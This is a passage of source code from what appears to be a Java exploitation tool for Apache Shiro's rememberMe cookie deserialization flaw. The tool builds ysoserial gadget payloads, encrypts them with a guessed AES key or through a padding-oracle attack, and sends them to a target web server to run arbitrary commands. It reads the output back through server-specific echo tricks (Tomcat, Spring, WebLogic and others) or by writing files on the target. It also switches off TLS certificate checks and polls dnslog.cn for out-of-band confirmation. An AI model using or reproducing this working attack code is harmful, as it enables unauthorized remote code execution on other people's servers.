9 | //Set用于去重,使用 List 作为返回结果的目的是保留 key 从配置文件中读取的顺序
10 | List keys = new ArrayList<>();
11 | Set sets = new HashSet<>();
12 |
13 | String path;
14 | if(flag == 0){
15 | path = System.getProperty("user.dir") + File.separator + "config" + File.separator + "keys.conf";
16 | }else{
17 | path = System.getProperty("user.dir") + File.separator + "config" + File.separator + "keys.conf.big";
18 | }
19 |
20 | try {
21 | FileInputStream inputStream = new FileInputStream(path);
22 | BufferedReader br = new BufferedReader(new InputStreamReader(inputStream));
23 | String temp = "";
24 | while((temp = br.readLine()) != null){
25 | if(sets.add(temp)) keys.add(temp);
26 | }
27 | } catch (FileNotFoundException e) {
28 | //doNothing
29 | } catch (IOException e) {
30 | //doNothing
31 | }
32 |
33 | return keys;
34 | }
35 |
36 | public static String getConfig(String key){
37 | String path = System.getProperty("user.dir") + File.separator + "config" + File.separator + "config.properties";
38 |
39 | Properties properties = new Properties();
40 | FileInputStream in = null;
41 | String value = null;
42 | try {
43 | in = new FileInputStream(path);
44 | properties.load(in);
45 | value = properties.getProperty(key);
46 | in.close();
47 | } catch (FileNotFoundException e) {
48 | //doNothing
49 | } catch (IOException e) {
50 | //doNothing
51 | }
52 |
53 | return value;
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/EchoType.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | public enum EchoType {
4 | LinuxEcho("LinuxEcho"),
5 | WindowsEcho("WindowsEcho"),
6 | SpringEcho1("SpringEcho1"),
7 | SpringEcho2("SpringEcho2"),
8 | TomcatEcho("TomcatEcho"),
9 | TomcatEcho2("TomcatEcho2"),
10 | JBossEcho("JBossEcho"),
11 | WeblogicEcho("WeblogicEcho"),
12 | ResinEcho("ResinEcho"),
13 | JettyEcho("JettyEcho"),
14 | AutoFindRequestEcho("AutoFindRequestEcho"),
15 | WriteFileEcho("WriteFileEcho");
16 |
17 |
18 | private String name;
19 | private EchoType(String name){
20 | this.name = name;
21 | }
22 |
23 | public String getName(){
24 | return this.name;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/EchoUtil.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import com.shiroexploit.core.AesEncrypt;
4 | import com.shiroexploit.core.PaddingOracle;
5 | import java.io.File;
6 | import java.net.MalformedURLException;
7 | import java.net.URL;
8 | import java.util.ArrayList;
9 | import java.util.List;
10 | import java.util.Random;
11 |
12 | public class EchoUtil {
13 | private static String staticFilePath;
14 |
15 | public static String getEchoResult(String key, PayloadType payloadType, String cmd, EchoType echoType){
16 | String result;
17 |
18 | switch (echoType.getName()){
19 | case "SpringEcho1":
20 | case "SpringEcho2":
21 | case "TomcatEcho":
22 | case "TomcatEcho2":
23 | case "JBossEcho":
24 | case "WeblogicEcho":
25 | case "ResinEcho":
26 | case "JettyEcho":
27 | case "AutoFindRequestEcho":
28 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);
29 | break;
30 | case "LinuxEcho":
31 | case "WindowsEcho":
32 | result = getEchoResultWithGeneralMethodTypeB(key, payloadType, cmd, echoType);
33 | break;
34 | case "WriteFileEcho":
35 | result = getEchoResultWithWriteFileMethod(key, payloadType, cmd, echoType);
36 | break;
37 | default:
38 | throw new IllegalStateException("Unexpected value: " + echoType.getName());
39 | }
40 |
41 | return result;
42 | }
43 |
44 | public static List getValidEchoType(String key, PayloadType payloadType){
45 | List list = new ArrayList<>();
46 |
47 | List list1 = new ArrayList<>();
48 | list1.add("SpringEcho1");
49 | list1.add("SpringEcho2");
50 | list1.add("TomcatEcho");
51 | list1.add("TomcatEcho2");
52 | list1.add("JBossEcho");
53 | list1.add("WeblogicEcho");
54 | list1.add("JettyEcho");
55 |
56 |
57 | for(EchoType echoType : Config.getInstance().getEchoTypes()) {
58 | System.out.println("[*] Trying " + echoType.getName());
59 |
60 | String flagText = "xxxxxx" + System.currentTimeMillis();
61 | String cmd = "echo " + flagText;
62 |
63 | String result = null;
64 | if(echoType.getName().equals("AutoFindRequestEcho")){
65 | writeClass(key, payloadType);
66 |
67 | try {
68 | int max = 0;
69 | if(Config.getInstance().getVulType() == 0){
70 | max = 5;
71 | }else{
72 | max = 1;
73 | }
74 |
75 | for(int i = 0; i < max; i++){
76 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);
77 |
78 | if(result.contains(flagText)){
79 | break;
80 | }
81 |
82 | Thread.sleep(1000);
83 | }
84 | } catch (InterruptedException e) {
85 | e.printStackTrace();
86 | }
87 |
88 | }else if(echoType.getName().equals("WriteFileEcho")){
89 | initializeStaticFilePath();
90 | result = getEchoResultWithWriteFileMethod(key, payloadType, cmd, echoType);
91 | }else if(list1.contains(echoType.getName())){
92 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);
93 | }else if(echoType.getName().equals("ResinEcho")){
94 |
95 | int max = 0;
96 | if(Config.getInstance().getVulType() == 0){
97 | max = 5;
98 | }else{
99 | max = 1;
100 | }
101 |
102 | for(int i = 0; i < max; i++){
103 | result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);
104 |
105 | if(result.contains(flagText)){
106 | break;
107 | }
108 |
109 | try {
110 | Thread.sleep(1000);
111 | } catch (InterruptedException e) {
112 | e.printStackTrace();
113 | }
114 | }
115 | }else if(echoType.getName().equals("WindowsEcho") || echoType.getName().equals("LinuxEcho")){
116 |
117 | int max = 0;
118 | if(Config.getInstance().getVulType() == 0){
119 | max = 3;
120 | }else{
121 | max = 1;
122 | }
123 |
124 | for(int i = 0; i < max; i++){
125 | result = getEchoResultWithGeneralMethodTypeB(key, payloadType, cmd, echoType);
126 |
127 | if(result.contains(flagText)){
128 | break;
129 | }
130 |
131 | try {
132 | Thread.sleep(1000);
133 | } catch (InterruptedException e) {
134 | e.printStackTrace();
135 | }
136 | }
137 | }else{
138 | throw new IllegalStateException("Unexpected value: " + echoType.getName());
139 | }
140 |
141 | if(result.contains(flagText)){
142 | list.add(echoType);
143 | }
144 | }
145 |
146 | return list;
147 | }
148 |
149 | public static String getEchoResultWithGeneralMethodTypeA(String key, PayloadType payloadType, String cmd, EchoType echoType){
150 | if(RememberMeCache.getInstance().getRememberMe(echoType) == null){
151 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
152 | + " directive:" + echoType.getName();
153 |
154 |
155 | byte[] payload = Tools.exec(command);
156 |
157 | String rememberMe = null;
158 | if(Config.getInstance().getVulType() == 0){
159 | rememberMe = AesEncrypt.encrypt(key, payload);
160 | }else{
161 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
162 | try {
163 | rememberMe = paddingOracle.encrypt();
164 | } catch (ExploitFailedException e) {
165 | e.printStackTrace();
166 | }
167 | }
168 |
169 | RememberMeCache.getInstance().setRememberMe(echoType, rememberMe);
170 | }
171 |
172 |
173 | if(Config.getInstance().getVulType() == 1)
174 | System.out.println("[*] rememberMe=" + RememberMeCache.getInstance().getRememberMe(echoType).trim());
175 |
176 |
177 | HttpRequestInfo httpRequestInfo = Config.getInstance().getRequestInfo();
178 | httpRequestInfo.getHeaders().put("cmd", cmd);
179 | String result = HttpRequest.request(httpRequestInfo, RememberMeCache.getInstance().getRememberMe(echoType).trim());
180 |
181 | if(result != null){
182 | return result.trim();
183 | }else{
184 | return "";
185 | }
186 | }
187 |
188 | public static String getEchoResultWithGeneralMethodTypeB(String key, PayloadType payloadType, String cmd, EchoType echoType){
189 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
190 | + " \"directive:" + echoType.getName() + ":" + cmd + "\"";
191 | byte[] payload = Tools.exec(command);
192 |
193 | String rememberMe = null;
194 | if(Config.getInstance().getVulType() == 0){
195 | rememberMe = AesEncrypt.encrypt(key, payload);
196 | }else{
197 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
198 | try {
199 | rememberMe = paddingOracle.encrypt();
200 | } catch (ExploitFailedException e) {
201 | e.printStackTrace();
202 | }
203 | }
204 |
205 | if(Config.getInstance().getVulType() == 1)
206 | System.out.println("[*] rememberMe=" + rememberMe);
207 |
208 | String result = HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
209 | if(result != null){
210 | return result.trim();
211 | }else{
212 | return "";
213 | }
214 | }
215 |
216 | public static String getEchoResultWithWriteFileMethod(String key, PayloadType payloadType, String cmd, EchoType echoType){
217 | List paths = Tools.getPaths(staticFilePath);
218 |
219 | for(String p : paths){
220 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
221 | + " \"directive:" + echoType.getName() + ":" + p + ":" + cmd + "\"";
222 | byte[] payload = Tools.exec(command);
223 |
224 | String rememberMe = null;
225 | if(Config.getInstance().getVulType() == 0){
226 | rememberMe = AesEncrypt.encrypt(key, payload);
227 | }else{
228 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
229 | try {
230 | rememberMe = paddingOracle.encrypt();
231 | } catch (ExploitFailedException e) {
232 | e.printStackTrace();
233 | }
234 | }
235 |
236 | if(Config.getInstance().getVulType() == 1)
237 | System.out.println("[*] rememberMe=" + rememberMe);
238 |
239 | HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
240 | }
241 |
242 | String content = "";
243 | try{
244 | Thread.sleep(1500);
245 | content = HttpRequest.getResponse(staticFilePath);
246 | }catch(Exception e){
247 | //pass
248 | }
249 |
250 | if(content != null){
251 | System.out.println("[+] You can see the result in:" + staticFilePath);
252 | return content;
253 | }else{
254 | return "";
255 | }
256 | }
257 |
258 | private static void writeClass(String key, PayloadType payloadType){
259 |
260 | for(int i = 0 ; i < 2; i ++){
261 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
262 | + " directive:WriteClass:" + i;
263 |
264 | byte[] payload = Tools.exec(command);
265 |
266 | String rememberMe = null;
267 | if(Config.getInstance().getVulType() == 0){
268 | rememberMe = AesEncrypt.encrypt(key, payload);
269 | }else{
270 | PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
271 | try {
272 | rememberMe = paddingOracle.encrypt();
273 | } catch (ExploitFailedException e) {
274 | e.printStackTrace();
275 | }
276 | }
277 |
278 | HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
279 | }
280 | }
281 |
282 | private static void initializeStaticFilePath(){
283 | URL url = null;
284 | try {
285 | url = new URL(Config.getInstance().getStaticFilePath());
286 | } catch (MalformedURLException e) {
287 | e.printStackTrace();
288 | }
289 |
290 | Random random = new Random();
291 | int rand = random.nextInt(10000);
292 |
293 | if(url.getPath().trim().equals("")){
294 | EchoUtil.staticFilePath = Config.getInstance().getStaticFilePath() + "/" + rand + ".js";
295 | }else{
296 | int index1 = Config.getInstance().getStaticFilePath().lastIndexOf("/");
297 | int index2 = Config.getInstance().getStaticFilePath().lastIndexOf("\\");
298 | int index = index1 > index2 ? index1 : index2;
299 |
300 | EchoUtil.staticFilePath = Config.getInstance().getStaticFilePath().substring(0, index) + "/" + rand + ".js";
301 | }
302 | }
303 | }
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/ExploitFailedException.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | public class ExploitFailedException extends Exception{
4 | public ExploitFailedException(){}
5 |
6 | public ExploitFailedException(String message){
7 | super(message);
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/HttpRequest.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import javax.net.ssl.*;
4 | import java.io.*;
5 | import java.net.HttpURLConnection;
6 | import java.net.InetSocketAddress;
7 | import java.net.Proxy;
8 | import java.net.URL;
9 | import java.security.KeyManagementException;
10 | import java.security.NoSuchAlgorithmException;
11 | import java.util.HashMap;
12 | import java.util.List;
13 | import java.util.Map;
14 |
15 | public class HttpRequest {
16 | // 这个类的代码虽然很丑陋[shame], 但是确实不想改了,凑合着用吧,毕竟没出啥问题[手动狗头]
17 |
18 | private static Config config = Config.getInstance();
19 |
20 | static{
21 | try{
22 | //设置https
23 | SSLContext sslcontext = SSLContext.getInstance("SSL");
24 | sslcontext.init(null, new TrustManager[]{new MyX509TrustManager()}, null);
25 | HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() {
26 | public boolean verify(String s, SSLSession sslsession) {
27 | return true;
28 | }
29 | };
30 | HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier);
31 | HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory());
32 | }catch (NoSuchAlgorithmException e) {
33 | e.printStackTrace();
34 | } catch (KeyManagementException e) {
35 | e.printStackTrace();
36 | }
37 | }
38 |
39 | public static int getDeleteMeCount(HttpRequestInfo httpRequestInfo, String cookieValue){
40 | int count = 0;
41 | HttpURLConnection connection = null;
42 | try{
43 | if(config.isProxyEnabled()){
44 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort()));
45 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
46 | }else{
47 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
48 | }
49 | connection.setRequestMethod(httpRequestInfo.getRequestMethod());
50 |
51 | if(httpRequestInfo.getHeaders().size() == 0){
52 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36");
53 | connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
54 | connection.setRequestProperty("connection", "close");
55 | }else{
56 | Map cloneHeaders = new HashMap<>();
57 | cloneHeaders.putAll(httpRequestInfo.getHeaders());
58 |
59 | String cookie = cloneHeaders.get("Cookie");
60 | if(cookie == null){
61 | cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
62 | }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){
63 | cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue;
64 | cloneHeaders.put("Cookie", cookie);;
65 | }else{
66 | int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1;
67 | int end = cookie.indexOf(";", start);
68 | end = end == -1 ? cookie.length() : end;
69 | cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end);
70 | cloneHeaders.put("Cookie", cookie);
71 | }
72 |
73 | //添加头部
74 | for(Map.Entry entry :cloneHeaders.entrySet()){
75 | connection.setRequestProperty(entry.getKey(), entry.getValue());
76 | }
77 | }
78 |
79 | // 设置POST请求体
80 | String requestBody = httpRequestInfo.getRequestBody();
81 | if(requestBody != null && !requestBody.trim().equals("")){
82 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false
83 | connection.setDoOutput(true);
84 | connection.setDoInput(true);
85 |
86 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
87 | printWriter.write(requestBody);
88 | printWriter.flush();
89 | }
90 |
91 | connection.setConnectTimeout(10000);
92 | connection.setReadTimeout(10000);
93 | connection.connect();
94 |
95 | Map> map = connection.getHeaderFields();
96 | for(Map.Entry> entry : map.entrySet()){
97 | //必须有
98 | if(entry.getKey() == null){
99 | continue;
100 | }
101 |
102 | if(entry.getKey().equalsIgnoreCase("set-cookie")){
103 | for(String str : entry.getValue()){
104 | if(str.contains(config.getRememberMeCookieName() + "=deleteMe")){
105 | count++;
106 | }
107 | }
108 |
109 | break;
110 | }
111 | }
112 | }catch(Exception e){
113 | //pass
114 | }finally {
115 | if(connection != null){
116 | connection.disconnect();
117 | }
118 | }
119 |
120 | return count;
121 | }
122 |
123 | public static String request(HttpRequestInfo httpRequestInfo, String cookieValue){
124 | HttpURLConnection connection = null;
125 | InputStream inputStream = null;
126 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
127 | try{
128 | if(config.isProxyEnabled()){
129 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort()));
130 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
131 | }else{
132 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
133 | }
134 | connection.setRequestMethod(httpRequestInfo.getRequestMethod());
135 |
136 | if(httpRequestInfo.getHeaders().size() == 0){
137 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36");
138 | connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
139 | connection.setRequestProperty("connection", "close");
140 | }else{
141 | Map cloneHeaders = new HashMap<>();
142 | cloneHeaders.putAll(httpRequestInfo.getHeaders());
143 |
144 | String cookie = cloneHeaders.get("Cookie");
145 | if(cookie == null){
146 | cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
147 | }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){
148 | cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue;
149 | cloneHeaders.put("Cookie", cookie);;
150 | }else{
151 | int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1;
152 | int end = cookie.indexOf(";", start);
153 | end = end == -1 ? cookie.length() : end;
154 | cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end);
155 | cloneHeaders.put("Cookie", cookie);
156 | }
157 |
158 | //添加头部
159 | for(Map.Entry entry : cloneHeaders.entrySet()){
160 | connection.setRequestProperty(entry.getKey(), entry.getValue());
161 | }
162 | connection.setRequestProperty("connection", "close");
163 | }
164 |
165 | // 设置POST请求体
166 | String requestBody = httpRequestInfo.getRequestBody();
167 | if(requestBody != null && !requestBody.trim().equals("")){
168 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false
169 | connection.setDoOutput(true);
170 | connection.setDoInput(true);
171 |
172 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
173 | printWriter.write(requestBody);
174 | printWriter.flush();
175 | }
176 |
177 | connection.setConnectTimeout(20000);
178 | connection.setReadTimeout(20000);
179 | connection.connect();
180 |
181 | inputStream = connection.getInputStream();
182 | if(inputStream.available() > 0){
183 | byte[] buffer = new byte[inputStream.available()];
184 | inputStream.read(buffer);
185 | baos.write(buffer, 0, buffer.length);
186 | }
187 |
188 | }catch(Exception e){
189 | return null;
190 | }finally {
191 | try {
192 | if(connection != null) connection.disconnect();
193 | if(inputStream != null) inputStream.close();
194 | if(baos != null) baos.close();
195 | } catch (IOException e) {
196 | e.printStackTrace();
197 | }
198 | }
199 |
200 | return baos.toString();
201 | }
202 |
203 | public static int getRequestDelay(HttpRequestInfo httpRequestInfo, String cookieValue){
204 | int delay = 0;
205 | long startTime = System.currentTimeMillis();
206 |
207 | HttpURLConnection connection = null;
208 | try{
209 | if(config.isProxyEnabled()){
210 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort()));
211 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
212 | }else{
213 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
214 | }
215 | connection.setRequestMethod(httpRequestInfo.getRequestMethod());
216 |
217 | if(httpRequestInfo.getHeaders().size() == 0){
218 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36");
219 | connection.setRequestProperty("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
220 | connection.setRequestProperty("connection", "close");
221 | }else{
222 | Map cloneHeaders = new HashMap<>();
223 | cloneHeaders.putAll(httpRequestInfo.getHeaders());
224 |
225 | String cookie = cloneHeaders.get("Cookie");
226 | if(cookie == null){
227 | cloneHeaders.put("Cookie", config.getRememberMeCookieName() + "=" + cookieValue);
228 | }else if(!cookie.contains(config.getRememberMeCookieName() + "=")){
229 | cookie = cookie + "; " + config.getRememberMeCookieName() + "=" + cookieValue;
230 | cloneHeaders.put("Cookie", cookie);;
231 | }else{
232 | int start = cookie.indexOf(config.getRememberMeCookieName()) + config.getRememberMeCookieName().length() + 1;
233 | int end = cookie.indexOf(";", start);
234 | end = end == -1 ? cookie.length() : end;
235 | cookie = cookie.substring(0,start) + cookieValue + cookie.substring(end);
236 | cloneHeaders.put("Cookie", cookie);
237 | }
238 |
239 | //添加头部
240 | for(Map.Entry entry :cloneHeaders.entrySet()){
241 | connection.setRequestProperty(entry.getKey(), entry.getValue());
242 | }
243 | }
244 |
245 | // 设置POST请求体
246 | String requestBody = httpRequestInfo.getRequestBody();
247 | if(requestBody != null && !requestBody.trim().equals("")){
248 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false
249 | connection.setDoOutput(true);
250 | connection.setDoInput(true);
251 |
252 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
253 | printWriter.write(requestBody);
254 | printWriter.flush();
255 | }
256 |
257 | connection.setConnectTimeout(15000);
258 | connection.setReadTimeout(15000);
259 | connection.connect();
260 |
261 | Map> map = connection.getHeaderFields();
262 |
263 | long endTime = System.currentTimeMillis();
264 | delay = (int) ((endTime - startTime) / 1000);
265 |
266 |
267 | }catch(Exception e){
268 | delay = 0;
269 | }finally {
270 | if(connection != null) connection.disconnect();
271 | }
272 |
273 | return delay;
274 | }
275 |
276 | public static String getResponse(String url) throws IOException {
277 | HttpURLConnection connection = null;
278 | InputStream inputStream = null;
279 | BufferedReader reader = null;
280 | StringBuffer sb = new StringBuffer();
281 |
282 | try{
283 | if(config.isProxyEnabled()){
284 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort()));
285 | connection = (HttpURLConnection)new URL(url).openConnection(proxy);
286 | }else{
287 | connection = (HttpURLConnection)new URL(url).openConnection();
288 | }
289 |
290 | connection.setRequestMethod("GET");
291 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36");
292 | connection.setRequestProperty("connection", "close");
293 | connection.setConnectTimeout(10000);
294 | connection.setReadTimeout(10000);
295 | connection.connect();
296 |
297 | int responseCode = connection.getResponseCode();
298 | if(responseCode == HttpURLConnection.HTTP_OK){
299 | inputStream = connection.getInputStream();
300 | reader = new BufferedReader(new InputStreamReader(inputStream));
301 |
302 | String line;
303 | while ((line = reader.readLine()) != null){
304 | sb.append(line + "\n");
305 | }
306 | }else{
307 | return null;
308 | }
309 | }finally {
310 | try {
311 | if(connection != null) connection.disconnect();
312 | if(inputStream != null) inputStream.close();
313 | if(reader != null) reader.close();
314 | } catch (IOException e) {
315 | e.printStackTrace();
316 | }
317 | }
318 |
319 | return sb.toString();
320 | }
321 |
322 | public static String getResponse(HttpRequestInfo httpRequestInfo) throws IOException {
323 | HttpURLConnection connection = null;
324 | InputStream inputStream = null;
325 | BufferedReader reader = null;
326 | StringBuffer sb = new StringBuffer();
327 |
328 | try{
329 | if(config.isProxyEnabled()){
330 | Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(config.getProxyIP(), config.getProxyPort()));
331 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection(proxy);
332 | }else{
333 | connection = (HttpURLConnection)new URL(httpRequestInfo.getRequestURL()).openConnection();
334 | }
335 | connection.setRequestMethod(httpRequestInfo.getRequestMethod());
336 |
337 | //设置Header
338 | if(httpRequestInfo.getHeaders().size() == 0){
339 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36");
340 | connection.setRequestProperty("connection", "close");
341 | }else{
342 | for(Map.Entry entry : httpRequestInfo.getHeaders().entrySet()){
343 | connection.setRequestProperty(entry.getKey(), entry.getValue());
344 | }
345 | }
346 |
347 |
348 | // 设置POST请求体
349 | String requestBody = httpRequestInfo.getRequestBody();
350 | if(requestBody != null && !requestBody.trim().equals("")){
351 | // 设置是否向httpUrlConnection输出,post请求设置为true,默认是false
352 | connection.setDoOutput(true);
353 | connection.setDoInput(true);
354 |
355 | PrintWriter printWriter = new PrintWriter(connection.getOutputStream());
356 | printWriter.write(requestBody);
357 | printWriter.flush();
358 | }
359 |
360 | connection.setConnectTimeout(10000);
361 | connection.setReadTimeout(10000);
362 | connection.connect();
363 |
364 | int responseCode = connection.getResponseCode();
365 | if(responseCode == HttpURLConnection.HTTP_OK){
366 | inputStream = connection.getInputStream();
367 | reader = new BufferedReader(new InputStreamReader(inputStream));
368 |
369 | String line;
370 | while ((line = reader.readLine()) != null){
371 | sb.append(line + "\n");
372 | }
373 | }else{
374 | return null;
375 | }
376 | }finally {
377 | try {
378 | if(connection != null) connection.disconnect();
379 | if(inputStream != null) inputStream.close();
380 | if(reader != null) reader.close();
381 | } catch (IOException e) {
382 | e.printStackTrace();
383 | }
384 | }
385 |
386 | return sb.toString();
387 | }
388 |
389 |
390 |
391 | public static String getDNSLogResult() throws IOException {
392 | HttpURLConnection connection = null;
393 | InputStream inputStream = null;
394 | BufferedReader reader = null;
395 | StringBuffer sb = new StringBuffer();
396 |
397 | try {
398 | connection = (HttpURLConnection)new URL("http://www.dnslog.cn/getrecords.php").openConnection();
399 | connection.setRequestMethod("GET");
400 | connection.setRequestProperty("Cookie", config.getSessionId());
401 | connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36");
402 | connection.setRequestProperty("connection", "close");
403 | connection.setConnectTimeout(10000);
404 | connection.setReadTimeout(10000);
405 | connection.connect();
406 |
407 | int responseCode = connection.getResponseCode();
408 | String line;
409 | if (responseCode == 200) {
410 | inputStream = connection.getInputStream();
411 | reader = new BufferedReader(new InputStreamReader(inputStream));
412 |
413 | while ((line = reader.readLine()) != null){
414 | sb.append(line);
415 | }
416 |
417 | } else {
418 | return null;
419 | }
420 | } finally {
421 | try {
422 | if (connection != null) connection.disconnect();
423 | if (inputStream != null) inputStream.close();
424 | if (reader != null) reader.close();
425 | }
426 | catch (IOException e) {
427 | e.printStackTrace();
428 | }
429 | }
430 |
431 | return sb.toString();
432 | }
433 | }
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/HttpRequestInfo.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import org.apache.commons.codec.binary.Base64;
4 | import org.apache.commons.codec.binary.Hex;
5 |
6 | import java.util.HashMap;
7 | import java.util.Map;
8 |
9 | public class HttpRequestInfo {
10 | private String requestMethod;
11 | private String requestURL;
12 | private String rememberMeCookie;
13 | private String requestBody;
14 | private Map headers = new HashMap<>();
15 | private String original;
16 |
17 |
18 | public String getOriginal() {
19 | return original;
20 | }
21 |
22 | public void setOriginal(String original) {
23 | this.original = original;
24 | }
25 |
26 | public String getRequestMethod() {
27 | return requestMethod;
28 | }
29 |
30 | public void setRequestMethod(String requestMethod) {
31 | this.requestMethod = requestMethod;
32 | }
33 |
34 | public String getRequestURL() {
35 | return requestURL;
36 | }
37 |
38 | public void setRequestURL(String requestURL) {
39 | this.requestURL = requestURL;
40 | }
41 |
42 | public String getRememberMeCookie() {
43 | return rememberMeCookie;
44 | }
45 |
46 | public void setRememberMeCookie(String rememberMeCookie) {
47 | this.rememberMeCookie = rememberMeCookie;
48 | }
49 |
50 | public String getRequestBody() {
51 | return requestBody;
52 | }
53 |
54 | public void setRequestBody(String requestBody) {
55 | this.requestBody = requestBody;
56 | }
57 |
58 | public Map getHeaders() {
59 | return headers;
60 | }
61 |
62 | public void setHeaders(Map headers) {
63 | this.headers = headers;
64 | }
65 |
66 | @Override
67 | public String toString() {
68 | return "HttpRequestInfo{" +
69 | "requestMethod='" + requestMethod + '\'' +
70 | ", requestURL='" + requestURL + '\'' +
71 | ", rememberMeCookie='" + rememberMeCookie + '\'' +
72 | ", requestBody='" + requestBody + '\'' +
73 | ", headers=" + headers +
74 | ", original='" + original + '\'' +
75 | '}';
76 | }
77 |
78 | public void parse(String body, boolean bool) throws Exception {
79 | setOriginal(body);
80 | //split操作可能会产生异常,所以用 try...catch 进行捕获
81 | //这里把异常抛出来的目的是为了数据校验操作,抛出异常,说明数据输入格式不正确
82 | try{
83 | body = body.trim();
84 | String[] parts = body.split("\r\n\r\n|\r\r|\n\n");
85 | if(parts.length == 2){
86 | //说明为POST请求,并且有请求体
87 | setRequestBody(parts[1]);
88 | }
89 |
90 | //请求头部
91 | String[] lines = parts[0].split("\r\n|\r|\n");
92 | //请求起始行
93 | String requestLine = lines[0].trim();
94 | parts = requestLine.split("\\s+");
95 | String requestMethod = parts[0];
96 | setRequestMethod(requestMethod);
97 | String requestURI = parts[1];
98 |
99 | Map headers = new HashMap<>();
100 | for(int i = 1; i < lines.length; i++){
101 | String[] pair = lines[i].trim().split(":",2);
102 | headers.put(pair[0].trim(), pair[1].trim());
103 | }
104 | setHeaders(headers);
105 |
106 | if(headers.get("Host") == null){
107 | throw new Exception();
108 | }
109 |
110 | String url = (bool ? "https://" : "http://");
111 | url += headers.get("Host").trim() + requestURI;
112 | setRequestURL(url);
113 |
114 | String cookie = headers.get("Cookie");
115 | if(cookie != null){
